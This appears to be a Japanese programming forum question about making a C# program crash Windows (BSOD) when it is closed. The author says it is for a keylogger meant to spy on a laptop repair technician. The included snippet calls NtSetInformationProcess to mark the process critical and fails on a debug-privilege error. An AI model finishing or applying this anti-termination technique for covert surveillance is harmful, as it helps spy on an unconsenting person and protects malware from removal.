アプリケーションをシャットダウンするたびに、自分でBSOD(死のブルースクリーンを強制)しようとします。残念ながら、私が呼び出すProcess.EnterDebugMode();
と例外が発生します: Not all privileges or groups referenced are assigned to the caller
。
私は、私のラップトップを修理するサービスマンをスパイすることを想定したキーロガーを作成します (その部分は完了しています)。
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);
public static void Main() {
int isCritical = 1; // we want this to be a Critical Process
int BreakOnTermination = 0x1D; // value for BreakOnTermination (flag)
Process.EnterDebugMode(); //acquire Debug Privileges
// setting the BreakOnTermination = 1 for the current process
NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, ref isCritical, sizeof(int));